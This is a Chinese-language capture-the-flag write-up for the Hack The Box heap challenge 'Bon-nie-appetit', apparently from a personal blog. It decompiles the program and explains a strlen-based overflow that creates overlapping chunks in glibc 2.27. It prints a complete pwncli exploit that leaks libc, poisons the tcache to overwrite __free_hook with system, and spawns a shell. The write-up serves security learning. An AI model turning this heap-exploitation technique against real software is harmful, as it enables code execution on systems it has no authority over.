selph
selph
Published on 2024-12-25 / 11 Visits
0
0

[HTB] Bon-nie-appetit

前言

本题目介绍了一种溢出覆盖chunk size创造重叠块的利用手法

题目情况

After the successful hijacking of the D12 spaceship during the Space Pirate mission, the crew managed to place a signal transmitter on a vending machine that the Golden Fang's members are using to order food from the Supplier Spacecraft of Draeger. Golden Fang's crew's favorite food contains a secret ingredient called "Little Green People0," which we do not have further info about. The signal passes through many satellites before it reaches the Supplier, so it won't be easy to track the device and the leaked signal. Can you take advantage of it and get control of the Supplier?

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

保护全开

逆向分析

main:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[168]; // [rsp+0h] [rbp-B0h] BYREF
  unsigned __int64 v5; // [rsp+A8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(s, 0, 0xA0uLL);
  setup();
  banner();
  while ( 1 )
  {
    menu();
    switch ( read_num() )
    {
      case 1:
        new_order(s);                           // 任意大小申请,内容填充,数组保存指针
        break;
      case 2:
        show_order(s);                          // %s打印内容,非空才打印
        break;
      case 3:
        edit_order(s);                          // 指针非空可编辑内容,大小取决于strlen,可能溢出
                                                // 溢出可以修改next chunk header
        break;
      case 4:
        delete_order(s);                        // 释放清空指针
        break;
      case 5:
        printf("%s\n[+] Your order will be ready soon!\n", "\x1B[1;32m");
        exit(69);
      default:
        printf("\n%s[-] Invalid option!%s\n", "\x1B[1;31m", "\x1B[1;34m");
        break;
    }
  }
}

4个选项:

  1. new:任意大小内存申请,然后写入内容

unsigned __int64 __fastcall new_order(__int64 *a1)
{
  int empty_order; // [rsp+18h] [rbp-18h]
  int num; // [rsp+1Ch] [rbp-14h]
  void *buf; // [rsp+20h] [rbp-10h]
  unsigned __int64 canary; // [rsp+28h] [rbp-8h]

  canary = __readfsqword(0x28u);
  empty_order = get_empty_order(a1, 20);
  if ( empty_order == -1 )
  {
    printf("%s\n[-] Cannot order more!%s\n", "\x1B[1;31m", "\x1B[1;34m");
  }
  else
  {
    printf("\n[*] For how many: ");
    num = read_num();                           // 大小可以很大
    buf = malloc(num);                          // 可控申请大小
    if ( buf )
    {
      printf("\n[*] What would you like to order: ");
      read(0, buf, num);                        // 填充内容,无溢出
      a1[empty_order] = (__int64)buf;           // 保存到数组
    }
    else
    {
      printf("%s\n[-] Something went wrong!%s\n", "\x1B[1;31m", "\x1B[1;34m");
    }
  }
  return __readfsqword(0x28u) ^ canary;
}
  1. show:打印写入的内容

unsigned __int64 __fastcall show_order(__int64 *a1)
{
  unsigned int num; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("\n[*] Number of order: ");
  num = read_num();
  if ( num <= 0x13 && a1[num] )
    printf("\n[+] Order[%d] => %s \n%s", num, (const char *)a1[num], "\x1B[1;34m");
  else
    printf("\n%s[-] There is no such order!%s\n", "\x1B[1;31m", "\x1B[1;34m");
  return __readfsqword(0x28u) ^ v3;
}
  1. edit:通过strlen来获取大小,进行编辑

unsigned __int64 __fastcall edit_order(__int64 *a1)
{
  size_t v1; // rax
  unsigned int num; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("\n[*] Number of order: ");
  num = read_num();
  if ( num <= 0x13 && a1[num] )
  {
    printf("\n[*] New order: ");
    v1 = strlen((const char *)a1[num]);
    read(0, (void *)a1[num], v1);               // 疑似溢出
  }
  else
  {
    printf("\n%s[-] There is no such order!%s\n", "\x1B[1;31m", "\x1B[1;34m");
  }
  return __readfsqword(0x28u) ^ v4;
}
  1. dele,释放内存,清空了指针

unsigned __int64 __fastcall delete_order(__int64 *a1)
{
  unsigned int num; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("\n[*] Number of order: ");
  num = read_num();
  if ( num <= 0x13 && a1[num] )
  {
    free((void *)a1[num]);                      // 释放
    a1[num] = 0LL;                              // 清空
  }
  else
  {
    printf("\n%s[-] There is no such order!%s\n", "\x1B[1;31m", "\x1B[1;34m");
  }
  return __readfsqword(0x28u) ^ v3;
}

利用分析

程序的问题出在了编辑功能上,通过strlen获取大小来进行编辑,可能会导致溢出覆盖下一个chunk的size

程序的libc版本是2.27,有毫无缓解机制的tcache

那肯定最终是通过tcache打,有free那就打free hook

通过溢出覆盖size字段可以创造一个重叠块,重叠的目标是unsortedbin chunk,就可以泄露出libc地址

此时会损坏unsortedbin chunk的header,修复后再次让unsortedbin chunk成为重叠块,重叠tcachebin chunk

就可以修改tcache bin chunk next 指针,完成tcache dup

辅助函数

def cmd(i, prompt=b"> "):
    sla(prompt, i)

def add(size:int, content:bytes):
    cmd('1')
    sla(b": ",str(size).encode())
    sla(b": ",content)
    #......

def show(idx:int):
    cmd('2')
    sla(b": ",str(idx).encode())
    #......

def edit(idx:int, content:bytes):
    cmd('3')
    sla(b": ",str(idx).encode())
    sa(b": ",content)
    #......

def dele(idx:int):
    cmd('4')
    sla(b": ",str(idx).encode())
    #......

leak address

add(0x18, b"A"*0x18) # 0
add(0x18, b"B"*0x18) # 1
add(0x88, b"C"*0x88) # 2
add(0x88, b"D"*0x88) # 3
add(0x88, b"E"*0x88) # 4
add(0x88, b"F"*0x88) # 5
add(0x88, b"G"*0x88) # 6
add(0x88, b"H"*0x88) # 7
add(0x88, b"I"*0x88) # 8
add(0x88, b"J"*0x88) # 9

for i in range(9,2,-1):
    dele(i)

edit(0, b"A"*0x18 + p8(0xb1))
dele(1)
dele(2)
add(0xa8, b"K"*0x27) # 1
show(1)
ru(b"K"*27+b"\n")
leak = rl()[:-2]
leak = u64(leak.ljust(8, b"\x00"))
log_address("leak", leak)
libc.address = leak -0x3ebca0
log_address("libc_base", libc.address)

此时的堆布局:

0x55938e5ec250  0x0000000000000000      0x0000000000000021      ........!.......
0x55938e5ec260  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55938e5ec270  0x4141414141414141      0x00000000000000b1      AAAAAAAA........
0x55938e5ec280  0x4b4b4b4b4b4b4b4b      0x4b4b4b4b4b4b4b4b      KKKKKKKKKKKKKKKK
0x55938e5ec290  0x4b4b4b4b4b4b4b4b      0x4b4b4b4b4b4b4b4b      KKKKKKKKKKKKKKKK         <-- unsortedbin[all][0]
0x55938e5ec2a0  0x0a4b4b4b4b4b4b4b      0x00007f783c8e8ca0      KKKKKKK....<x...
0x55938e5ec2b0  0x4343434343434343      0x4343434343434343      CCCCCCCCCCCCCCCC
0x55938e5ec2c0  0x4343434343434343      0x4343434343434343      CCCCCCCCCCCCCCCC
0x55938e5ec2d0  0x4343434343434343      0x4343434343434343      CCCCCCCCCCCCCCCC
0x55938e5ec2e0  0x4343434343434343      0x4343434343434343      CCCCCCCCCCCCCCCC
0x55938e5ec2f0  0x4343434343434343      0x4343434343434343      CCCCCCCCCCCCCCCC
0x55938e5ec300  0x4343434343434343      0x4343434343434343      CCCCCCCCCCCCCCCC
0x55938e5ec310  0x4343434343434343      0x4343434343434343      CCCCCCCCCCCCCCCC
0x55938e5ec320  0x0000000000000090      0x0000000000000090      ................
0x55938e5ec330  0x000055938e5ec3c0      0x000055938e5ec010      ..^..U....^..U..         <-- tcachebins[0x90][0/7]
0x55938e5ec340  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55938e5ec350  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55938e5ec360  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55938e5ec370  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55938e5ec380  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55938e5ec390  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55938e5ec3a0  0x4444444444444444      0x4444444444444444      DDDDDDDDDDDDDDDD
0x55938e5ec3b0  0x4444444444444444      0x0000000000000091      DDDDDDDD........

修改2 chunk的size为0xb1,覆盖了tcache chunk的size,释放后再申请就可以覆盖到unsortedbin chunk了

从而拿到libc地址泄露

tcache dup

# resume unsortedbin and extend it to overlop with tcachebin
edit(1, b"A"*0x18 + pack(0x121) + pack(leak))

# tcachebin attack
add(0x118,b"2"*0x88 + pack(0x91) + pack(libc.sym.__free_hook)) # 2
add(0x88,b"3"*0x88) # 3
add(0x88,pack(libc.sym.system)) # 4
add(0x28,b"/bin/sh\x00")    #5
dele(5)

首先修复被损坏的unsortedbin的header和指针,使其header扩大到足够覆盖下面的tcachebin chunk next指针

修复完成之后,申请走,去覆盖next指针,指向free hook地址

然后正常的tcache dup流程了就是

完整exp

#!/usr/bin/env python3
# Date: 2024-12-25 13:01:11
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=b"> "):
    sla(prompt, i)

def add(size:int, content:bytes):
    cmd('1')
    sla(b": ",str(size).encode())
    sla(b": ",content)
    #......

def show(idx:int):
    cmd('2')
    sla(b": ",str(idx).encode())
    #......

def edit(idx:int, content:bytes):
    cmd('3')
    sla(b": ",str(idx).encode())
    sa(b": ",content)
    #......

def dele(idx:int):
    cmd('4')
    sla(b": ",str(idx).encode())
    #......

"""
off by one 漏洞
libc 2.27 版本

off by one 创造重叠块覆盖一个unsortedbin chunk, 申请回来泄露libc
篡改 释放后的tcachebin chunk 完成tcache dup,打free hook
"""
add(0x18, b"A"*0x18) # 0
add(0x18, b"B"*0x18) # 1
add(0x88, b"C"*0x88) # 2
add(0x88, b"D"*0x88) # 3
add(0x88, b"E"*0x88) # 4
add(0x88, b"F"*0x88) # 5
add(0x88, b"G"*0x88) # 6
add(0x88, b"H"*0x88) # 7
add(0x88, b"I"*0x88) # 8
add(0x88, b"J"*0x88) # 9

for i in range(9,2,-1):
    dele(i)

edit(0, b"A"*0x18 + p8(0xb1))
dele(1)
dele(2)
add(0xa8, b"K"*0x27) # 1
show(1)
ru(b"K"*27+b"\n")
leak = rl()[:-2]
leak = u64(leak.ljust(8, b"\x00"))
log_address("leak", leak)
libc.address = leak -0x3ebca0
log_address("libc_base", libc.address)
pause()
# resume unsortedbin and extend it to overlop with tcachebin
edit(1, b"A"*0x18 + pack(0x121) + pack(leak))

# tcachebin attack
add(0x118,b"2"*0x88 + pack(0x91) + pack(libc.sym.__free_hook)) # 2
add(0x88,b"3"*0x88) # 3
add(0x88,pack(libc.sym.system)) # 4
add(0x28,b"/bin/sh\x00")    #5
dele(5)
ia()

总结

溢出覆盖chunk size创造重叠块的利用手法

参考资料


Comment